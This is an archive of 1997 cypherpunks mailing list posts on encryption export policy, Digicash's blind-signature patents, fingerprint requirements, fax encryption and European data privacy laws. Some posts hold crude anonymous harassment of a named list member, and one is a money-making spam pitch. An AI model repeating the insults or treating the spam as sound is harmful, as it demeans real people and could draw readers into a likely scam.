* prohibiting the government from imposing "key-escrow" or "key-
  recovery" inside the United States, and;

* addresses concerns from law enforcement about the use of encryption
  in the furtherance of a crime.

The SAFE bill enjoys broad bi-partisan support and currently has 78
co-sponsors.

Although no bill is ever perfect, the SAFE bill, along with Pro-CODE, a
similar bill in the Senate sponsored by Sens. Burns (R-MT) and Leahy
(D-VT), represent the best chance yet of passing real reform of US
encryption policy.  The Senate Commerce Committee is expected to hold a
markup on Pro-CODE soon.

The Clinton Administration, through the FBI and NSA, is working hard
behind the scenes to block passage of SAFE and Pro-CODE. The
Administration favors an approach which would limit the availability of
privacy-protecting encryption technologies and compel American Citizens
to ensure law enforcement access to their private online
communications.

By passing the SAFE bill and sending on to the floor, the House
Judiciary Committee will send a strong signal to the Administration
that Congress is serious about passing real reform of US encryption
policy, and would represent an important victory in the fight for
privacy on the Internet.

Detailed background information, including the full text of the bill,
and analysis is available online at http://www.crypto.com/

______________________________________________________________________
WHY IS THIS ISSUE IMPORTANT TO INTERNET USERS?

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers
subsequently discovered that it is quite easy to break the security of the
system and intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration has proposed DOMESTIC
RESTRICTIONS on the ability of Americans to protect their privacy and
security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

_____________________________________________________________________________
ABOUT THIS ALERT / PARTICIPATING ORGANIZATIONS

For more information, contact the following organizations who have signed onto
this effort at their web sites.

Americans for Tax Reform                                 http://www.atr.org
Center for Democracy and Technology                      http://www.cdt.org
Eagle Forum                                       http://www.eagleforum.org
EF-Florida                                         http://www.efflorida.org
Electronic Frontier Foundation                           http://www.eff.org
Electronic Privacy Information Center                   http://www.epic.org
Voters Telecommunications Watch                          http://www.vtw.org
Wired Magazine                                         http://www.wired.com

_____________________________________________________________________________
end alert
==============================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@healey.com.au>
Date: Mon, 28 Apr 1997 05:39:38 -0700 (PDT)
To: Damien Miller <dmiller@prometheus.projectx.com.au>
Subject: Re: Don Wood -- IPG
In-Reply-To: <199704280838.DAA08848@mailhub.amaranth.com>
Message-ID: <33649A3D.1CD32872@healey.com.au>
MIME-Version: 1.0
Content-Type: text/plain


> I understand now!
> 
> This is the output of said PRNG.
> 
> Damien

Exactly! But _only_ after using exact same output as input...how's
_that_ for a true RNG? ;)

Ben




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 28 Apr 1997 22:28:32 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [ADMINISTRATIVIUM] BBN
In-Reply-To: <199704290035.RAA00276@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970428232611.146746C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 28 Apr 1997, Huge Cajones Remailer wrote:

Come out of the closet Vulis.

> If Internet is the `information highway', then Tim 
> Mayhem is the roadside litter in the gutter.
> 
>       ' ' ' ' 
>       ^-O-O-^
>    -ooO--U--Ooo- Tim Mayhem
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 28 Apr 1997 22:54:16 -0700 (PDT)
To: cypherpunks@toad.com
Subject: off-topic/Flying cows
Message-ID: <TCPSMTP.17.4.29.1.48.2.2780269260.1621264@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I just had to forward this...<G>
(translated from a german newsservice)

 -=> Quoting In:germnews@listserv.gmd.de to Harka <=-

Last Page: Flying cow sinks japanese fishing boat

Wladiwostok. A cow fell out of an airplane before the siberian coast
and smashed onto japanese fishing boat, causing it to sink. That
reported the German Embassy in Moscow in an internal note to the
[german] State Department.

Appearantly a russian military plane was flying over the Ochotskian
sea with stolen cows on board; the cows started panicking and made
the airplane instable in it's flight - they weren't tied to the
walls. Therefore the pilots used the last possibility: they opened
the back door and moved the cows out of the machine. One of the cows
hit a japanese fishing boat and turned it over. The crew could save
themselves to the coast, where they were arrested by russian guards,
who wouldn't believe the cow story - until an investigation proved
it valid.

A russian official responsible for traffic is supposed to have
mentioned this case to the German Embassy as a strange example for
the terrible condition of russian flight safety. The State
Department would neither confirm nor deny the incident.


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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=nFLz
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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 29 Apr 1997 06:35:04 -0700 (PDT)
To: harka@nycmetro.com
Subject: Re: off-topic/Flying cows
In-Reply-To: <TCPSMTP.17.4.29.1.48.2.2780269260.1621264@nycmetro.com>
Message-ID: <3.0.1.32.19970429093600.007ca100@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:48 AM 4/29/97 -0500, you wrote:

The Rest of the Story:

Terrorist Cow Dump Prompts Congrssional Action!

In a rapid response to terrorist cow dumping reported over the Pacific Ocean,
the United States Congress has passed and sent on to the President for his
signature a law making it illegal to drive cattle from flying aircraft over
any territory of the United States. President Clinton has previously stated
he will sign such a bill sent to him.

|-----BEGIN PGP SIGNED MESSAGE-----
|
|I just had to forward this...<G>
|(translated from a german newsservice)
|
| -=> Quoting In:germnews@listserv.gmd.de to Harka <=-
|
|Last Page: Flying cow sinks japanese fishing boat
|
|Wladiwostok. A cow fell out of an airplane before the siberian coast
|and smashed onto japanese fishing boat, causing it to sink. That
|reported the German Embassy in Moscow in an internal note to the
|[german] State Department.
|
|Appearantly a russian military plane was flying over the Ochotskian
|sea with stolen cows on board; the cows started panicking and made
|the airplane instable in it's flight - they weren't tied to the
|walls. Therefore the pilots used the last possibility: they opened
|the back door and moved the cows out of the machine. One of the cows
|hit a japanese fishing boat and turned it over. The crew could save
|themselves to the coast, where they were arrested by russian guards,
|who wouldn't believe the cow story - until an investigation proved
|it valid.
|
|A russian official responsible for traffic is supposed to have
|mentioned this case to the German Embassy as a strange example for
|the terrible condition of russian flight safety. The State
|Department would neither confirm nor deny the incident.
|
|
|Ciao
|
|Harka
[snip]
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=+J+a
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 29 Apr 1997 08:21:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Chaum steps down as CEO of Digicash
In-Reply-To: <199704281753.KAA00589@crypt.hfinney.com>
Message-ID: <v03020919af8b9e12df33@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:53 pm -0400 on 4/28/97, Hal Finney wrote:

> Chaum's orientation towards privacy has not been well accepted by the
> conservative banking community (a similar point was made by Peter Swire
> in his article about payments and anonymity).

Again, financial privacy is like flight. To the people who invented it,
flight was an inherent good. People died trying to create it. However, the
thing which made flight commonplace was commerce. Flying is not only the
fastest way for people and other important things to get somewhere, but,
over great distances, it is simply the cheapest way for people to travel.
People don't purchase "wow, we can fly". They purchase economy seats to
Cleveland. :-).

The same thing with financial cryptography, and, by extension, strong
cryptography in general. What will sell financial cryptography is not
financial privacy per se. What will sell financial cryptography is the fact
that digital bearer certificate protocols will prove, by virtue of their
very *anonymity*, to be many orders of magnitude cheaper to use than any
internet transaction method of equal security. Or any transaction method at
all, for that matter. Including, of course, the book-entry transaction
settlement methods (like checks, credit cards, securities clearinghouses,
interbank settlement) we use today.

It is under *that* proposition alone, the potential for radical cost
reduction in *all* transaction settlement processes -- and the prospect for
radical economic transformation that that brings -- that the blind
signature patent should be marketed and licensed.


Notice I said "licensed".

Cryptographers -- and that is who Digicash is, nothing else, no matter how
hard they try to be otherwise -- should invent, license, and validate the
use of cryptographic protocols. And, clearly, there is no better financial
cryptographer in the world than David Chaum, the man who created, from
whole cloth, everything we consider to be modern financial cryptography.

Digicash should not try to be a financial trustee, or a certificate
underwriter, or even a software developer. All three things Digicash, BV,
has tried to be in its many previous incarnations. Now, it appears,
Digicash, Inc., is going to try to become the internet equivalent of a
credit card association. However, once you understand what Digicash's
strengths really are, you can see why this current strategy is just the
next progression in, I'm sorry to say, the fool's market that Digicash,
Inc., has become in terms of investment return.


So, you can understand how, sometimes, I'm very much afraid we'll have to
wait until this round of funding is burned through -- say 3 to 5 years --
before we see any progress in the market for digital bearer certificates.
And, if Digicash keeps finding a "greater fool" when the money runs out,
we'll end up waiting until 2007, the expiration date on the blind signature
patent, in order for anything to happen at all.


Yet, most of rest of the time, however, I'm not so pessimistic. I'm
convinced that if Digicash starts non-exclusive licensing of the blind
signature patent, and the other relevant Chaum patents it now controls,
even as an experiment, I expect that they would very soon find that their
profit margins on those licenses would dwarf the profits on all their other
projects.  Maybe then they'll realize they should stop trying to be
something else, and be what they what they have been all along: the very
best financial cryptographers in the world.


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Tue, 29 Apr 1997 12:55:29 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704291837.LAA08960@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy Mayflower studied yoga back-streching exercises for five years so he could 
blow himself (nobody else will).

 o/    \  /    \ /     /      \o
/ \    /  \    /o\    / |\    / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 29 Apr 1997 09:39:59 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Netscape plans to support GAK
Message-ID: <1.5.4.32.19970429163809.008c471c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:

>Yup. Looks like Barksdale(?) was right in his Pro-Excrow comments two years
>ago in Boston after all.
>
>Mr. Weinstein's Black Rhino Ammunition Inc. "Mr. Kevlar" award went for
>naught, I'm afraid...

While it might be too touchy for Netscaper cryptographers to address
openly, I wonder if there is not a scheme afoot to go along with the 
current restrictions in order to be better positioned to compete with 
others intending to launch robust encryption as soon as the leak in the 
dam globally breaks.

There may be more to this story than appears in the PR of
industry and government. The crypto fight may be a diversion.

Suppose the governments intend to relax crypto restrictions 
once other technologies to monitor electronic transactions are
in place and and enforcers have been trained to snare illegal 
transactors based on physical evidence of crime beyond the
digital. 

Recall that that's what Peter Neumann and others on the NRC 
crypto panel suggested as an agenda for the FBI to forego undue
crypto emphasis.

Is it not possible that the US and other nations will allow strong
encryption so long as other means are at hand to control any
action merely cloaked in encrypted language, as has been done
forever with stylistic literature and speech?

To, as with its predecessors, tolerate the artist of cryptoanarchy 
but guillotine the actor.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 29 Apr 1997 12:40:57 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Chaum steps down as CEO of Digicash
In-Reply-To: <v03020919af8b9e12df33@[139.167.130.246]>
Message-ID: <Pine.3.89.9704291221.A11950-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Apr 1997, Robert Hettinga wrote:

> At 1:53 pm -0400 on 4/28/97, Hal Finney wrote:
> 
> > Chaum's orientation towards privacy has not been well accepted by the
> > conservative banking community (a similar point was made by Peter Swire
> > in his article about payments and anonymity).

Having worked for DigiCash for more than one year before giving up on them
due to persistent billing problems, I can assure you that the privacy
features of Ecash have *nothing* to do with the failure of Ecash in the
marketplace. 

The blame for the failure of Ecash rests squarely and exclusively with 
DigiCash's management.

--Lucky




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 29 Apr 1997 12:36:14 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <v03020919af8b9e12df33@[139.167.130.246]>
Message-ID: <v0302093eaf8be0697540@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:54 pm -0400 on 4/29/97, Tim May wrote:


> At 6:19 AM -0800 4/29/97, Robert Hettinga wrote:
>
> >And, if Digicash keeps finding a "greater fool" when the money runs out,
> >we'll end up waiting until 2007, the expiration date on the blind signature
> >patent, in order for anything to happen at all.
>
>
> Recall that there are at least two major bypasses of the blind signature
> patent: the Doug Barnes "identity agnostic" approach and the Ian Goldberg
> work on moneychangers and "everyone a mint."

I certainly wasn't ignoring these guys. I suppose if you're going to be
issuing certificates in, holding the money in trust for, or even writing
commercial software for some kind of digital bearer certificate market, it
would probably be a good idea not to fight off lawsuits all the time from
the acknowleged patent holder, whether or not they're justified.

Of course there's the counterexample in aviation of Curtiss, who fought off
the Wright brothers for years to great effect, after fairly outright patent
theft.

> I happen to agree that Chaum is the pioneer of much that we consider core
> Cypherpunks technology. And I wish him well and hope he someday recoups his
> investments in Digicash and ends up making money. But I agree with Bob's
> points about the mistakes Digicash has made...and this is not some opinion
> I have come to in hindsight: I, and others, expressed these views several
> years ago.

I really didn't understand this myself until maybe two years ago, when I
applied the physical bearer certificate model to a hypothetical market for
digital bearer certificates. The whole problem crystallizes when you look
at it that way. In that context, Digicash is more like the Crane paper
company, or better, the folks who invent the doodlers and stuff to make
very complex intaglio printing possible, not even the press manufacturer.
Certainly very necessary technology, in fact the defining technology, but
not quite sufficient by itself to create a market. ;-).

> (One such expression was in an article I did a few years ago about how
> software patents are instrinsically poorly "metered."
<snip>
> The situation is
> vastly different with software patents, and this is holding back such
> innovations. I have no real solution, except to simply advocate
> "liberation" of such things...if it can't be protected without an intrusive
> police state, screw the supposed property rights. Schelling points, David
> Post's "code," and all that...sorry for the elliptic (not curve)
> references.)

Oddly enough, it's quite possible to have perfectly pseudonymous digital
bearer certificate markets where the protocol inventor is fairly
compensated for inventing the protocol. The key is to use the trustee as
the policeman of the market, the place where the meter "clicks". Since the
exchange of certificates into other kinds of money (be it other
certificates, book-entries, or commodities of some kind) must go through
the trustee at some point, the trustee can, as part of the trust agreement
with the holders of the certificates, give some share of transaction fee or
interest income to the protocol designer, in addition to what is paid to
the underwriter. The trustee is renting their reputation to the transaction
process anyway, so it is the best entity to increment the meter fairly on
the designer's behalf.

Look, Ma, no nation-state!

Cheers,
Bob Hettinga





-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 29 Apr 1997 15:17:32 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Fingerprint Stego
Message-ID: <199704292217.PAA13810@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> At 12:37 PM 4/29/97 -0700, Mike Duvos thoughtfully wrote:
> |A funny story in last night's Seattle Times...
> |
> |It seems the INS and FBI are unwilling to grant US citizenship to
> |persons without legible fingerprints.
> 
> [snip]
> 
> Fingerprint escrow?
> 
> Does this mean that, ipso facto (I love it), physically challenged
> individuals with missing or deformed hands are excluded regardless of other
> qualifications? What a monstrosity of a rule!

  Also, can one have one's citizenship revoked if they lose their
fingers in a bizarre chainsaw accident? Or if the "Circle of Eunuchs"
performs finger-castration on them because they are caught *fingering*
people while they sleep?

  Why are not alternative methods of identification used, such as 
placing a tattoo on their arms? Or remove the threat they pose to
others, by placing them in camps?

  Other, more crypto-relevant, concerns arise when one considers
whether this fingerprint-anonymity is perhaps a form of biological
cryptography.
  Is the person breaking any laws if their fingers leave the 
country? Can they be required to cut off one of their fingers
and send it to the government under fingerprint-crypto escrow laws?

  Perhaps we need a "Truth in Spokespersoning" law which would
require spokespersons to tell it like it is:
  "We regret to announce that we cannot allow this person to become
a citizen, because we consider citizens to be the property of the
state, and we need to be able to identify our property.
  "Of course, there may be other ways to mark the person for
identification by the state, but we are too stupid, anal-retentive
and uncaring to concern ourselves with looking into these areas.
  "Besides, we don't have to. We're the government and we can do
whatever silly, stupid, uncaring and unjust things we want to our 
citizens without suffering any consequences for our actions."

FingerMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 73609724@32117.com
Date: Wed, 30 Apr 1997 01:21:38 -0700 (PDT)
To: yyy@zzzdoe1.com
Subject: Show Me The Money !!!
Message-ID: <1887021673627.GAA08056@jeanjacket.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Friend...
   Forgive the intrusion, but I am compelled to tell you of a simple,
*ingenious* way to make a lot of money. It's very easy, costs peanuts 
to participate in, and you can make $50,000 or more in less than 90 
days within the comfort of your own home. 
   Do you want to make your financial dreams come true? This will make you 
a  LOT of money easily and your dreams a reality.
  
   To receive full information quickly, just double click on the 
highlighted link below and send us a blank e-mail message:

 sandk@answerme.com

(Serious inquiries only please) 

If you choose not to participate in this program, I am sorry. It 
really is a great opportunity with little cost or risk to you. If  
you choose to participate, follow the program and you will be on 
your way to financial security.  

 
Thank you for your time

Sincerely,
  S&K Consulting 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 29 Apr 1997 16:05:06 -0700 (PDT)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199704291837.LAA08960@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970429170343.148854A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 29 Apr 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

>
Timothy Mayflower studied yoga back-streching exercises for five
years so he could 
> blow himself (nobody else will).
> 
>  o/    \  /    \ /     /      \o
> / \    /  \    /o\    / |\    / \
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 29 Apr 1997 14:03:41 -0700 (PDT)
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Fingerprint Stego
In-Reply-To: <199704291937.MAA08955@netcom23.netcom.com>
Message-ID: <3.0.1.32.19970429170432.007f4dd0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 12:37 PM 4/29/97 -0700, Mike Duvos thoughtfully wrote:

|A funny story in last night's Seattle Times...
|
|It seems the INS and FBI are unwilling to grant US citizenship to
|persons without legible fingerprints.

[snip]

Fingerprint escrow?

Does this mean that, ipso facto (I love it), physically challenged
individuals with missing or deformed hands are excluded regardless of other
qualifications? What a monstrosity of a rule!

Was this carried over the wire? AP?

|"This is not something we take lightly," said INS spokesperson
|Irene Mortensen. "We can't just arbitrarily give out citizenship
|to just anyone."
 
The fact that Irene Mortensen has citizenship at all proves her point.

Is it not possible to retroactively _remove_ the citizenship of such an
arrogant bureaucrat to test whether she could make the grade imposed on the
rest of the world's "refuse?"

"Dear Irene Mortensen:

We regret to inform you....."

Thanks, Mike, for the increase in BP.

Alec


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=JZZe
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 29 Apr 1997 19:15:07 -0700 (PDT)
To: John Young <jya@pipeline.com>
Subject: Re: Fax Security Program
In-Reply-To: <1.5.4.32.19970427175927.0075b2f8@pop.pipeline.com>
Message-ID: <3.0.1.32.19970429184138.0063fb50@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:59 PM 4/27/97 -0400, John Young wrote:
>The TV show "Computer Chronicles" Saturday featured
>various comm security products, one of which used a fax 
>encoding system with unusual capabilities to transmit color
>images, condensed text (say, a 30-page doc encoded
>on a single fax page) or any other digital data as visual
>clutter.
...
>We missed the name of the product and would appreciate
>hearing from anyone who did, or who knows of the product.

There was a long discussion / flamewar about a product like this
a year or three ago; you can check the archives.
This system sounds a bit more interesting than the one
that someone was touting the last time, but essentially 
any system like this will have a subset of the following steps
0) Scan and digitize the original into a file, if it's not already online.
1) Compress the file (often combined with Step 0.)
2) Encrypt the file
3) Represent the file as a bunch of bits, possibly pixels (needs to add enough
	redundancy to recover from errors in Steps 4 and 5,
	and government-mandated anti-fax-spamming citizen-identification :-)
4) Transmit the pixels using fax or modem or Internet protocols
5) Print onto paper and rescan (if receiver isn't a computer)
6) Recover the encrypted compressed file from the pixel representation
7) Decrypt the file, if encrypted
8) Decompress the file
9) Print onto paper, if desired.

Regular fax machines, and many scanners, combine steps 0 and 1;
regular fax skips steps 2, 3, 5, 6, and 7.
If the original is already a file, or is a more complex picture than G3 fax,
most products will use some proprietary representation, or maybe G4.
One snake-oil product used "Visual Encryption", which meant that they
represented the file as blocks of pixels, shuffled the pixels in some
not-blazingly-secure manner that had enough redundancy for error recovery,
and transmitted that.  

Alternatives: 
1) If you wanted to, you could do the pixel-representation before the 
encryption, and use strong encryption, but then you'd either need
to transmit directly to a computer instead of a fax machine or risk
major lossage from printing and rescanning, and you'd be encrypting far more
bits than you really need to, for no particular benefit -
unless your pixel-representation is a simple black/white pixel per bit
(i.e. you skipped the error correction or did it on the raw data.)
2) You could use a fax or modem to transmit the data as analog sound,
digitize and encrypt the sound, and transmit that over a modem or internet.
This has the advantage that you can use a regular fax machine and
it doesn't need to know you're playing with the audio, though if you
do it crudely you need to transmit a lot more bits,
unless you're using an ISDN connection which was already bits.
2a) You could "digitize" the sound by recognizing it as fax/modem tones and
demodulating into the original pixel-representation bits.
This can save you bandwidth (especially if you transmit your vanilla-9600-bps
fax signal over a 28.8kbps modem.)  Of course, if you were going to pay
to do that anyway, you probably should have just encrypted the data
on a PC and transmitted it by modem anyway instead of messing with Faxes.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Tue, 29 Apr 1997 19:03:54 -0700 (PDT)
To: Alec <camcc@abraxis.com>
Subject: Re: Fingerprint Stego
In-Reply-To: <199704291937.MAA08955@netcom23.netcom.com>
Message-ID: <3.0.1.32.19970429185605.00726388@intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


At 05:04 PM 4/29/97 -0400, Alec wrote:

>Does this mean that, ipso facto (I love it), physically challenged
>individuals with missing or deformed hands are excluded regardless of other
>qualifications? What a monstrosity of a rule!

Georgia in fact has a mandated fingerprint requirement for obtaining a
driver's license.  Practices vary from station to station, but there have
been reports of handicapped or others who do not fingerprint properly being
denied a driver's license.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/
     




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 29 Apr 1997 19:14:02 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Data Privacy Laws
In-Reply-To: <v03007800af8b4d0ada5e@[207.167.93.63]>
Message-ID: <v0300780baf8c689da060@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:37 PM -0800 4/29/97, Ulf Möller wrote:
>> >   According to the Registrar's office, anyone who is processing personal
>> >   information, even as little as names and addresses received over the
>> >   Internet, could find themselves facing an unlimited fine in the higher
>> >   courts if they do not register with the Data Protection Registrar.
>
>> This is well known to most of us. Still, we periodically get "privacy
>> advocates" here on this list singing the praises of the various European
>> "data privacy laws" and urging other nations to adopt the same sorts of
>> laws.
>
>It is worth noting that the "Data Privacy Commissioners" in Germany
>(equivalent to the British Data Protection Registrar) are beginning to
>advocate technologies such as anonymous e-cash, pre-paid chipcards,
>pseudonyms, and of course encryption, rather than more laws.

This is very encouraging, if true. (Not that I doubt Ulf, but one must
always be careful in considering the plans and promises of government
entities.)

It would be especially nice (schon, or schoen--my Mac supports umlauts, of
course, but I never try to use them in ASCII posts) if Germany were to
abandon its control-freak stance toward the Internet and realize that "the
best cure for bad language is more language" and "sunlight is the best
disinfectant." (These are both well-known sayings about free speech.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 29 Apr 1997 16:36:05 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <v0302093eaf8be0697540@[139.167.130.246]>
Message-ID: <v03020974af8c24a07c52@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:35 pm -0400 on 4/29/97, Tim May wrote:

> This is  really for patent lawyers to argue,

Indeed, which is my point. If the patent lawyers are arguing, life is hard
for anyone trying to make  money with the technology the patents allegedly
cover.

Kind of like those "SLAPP" suits companies like to throw at "activists".
Remember PRZ? Same shit, different day. Economically, anyway.

> "Contributory infringement" is one possible avenue of going after such
> systems which bypass Chaum's patents, but this is a complicated issue.

See above. :-).

> I would guess that Chaum is also planning to try to get more comprehensive
> patents covering the "entire system" of using digital cash in financial
> transactions. Bad as software patents usually are, this trend is even worse.

Say amen, somebody. I personally think software patents are useless in the
long run, but they're still bad for business in the meantime. In which
meantime, until we can nonrepudiably pay people who invent financial crypto
protocols without the intervention of the nation-state, we need to live
with said patents.

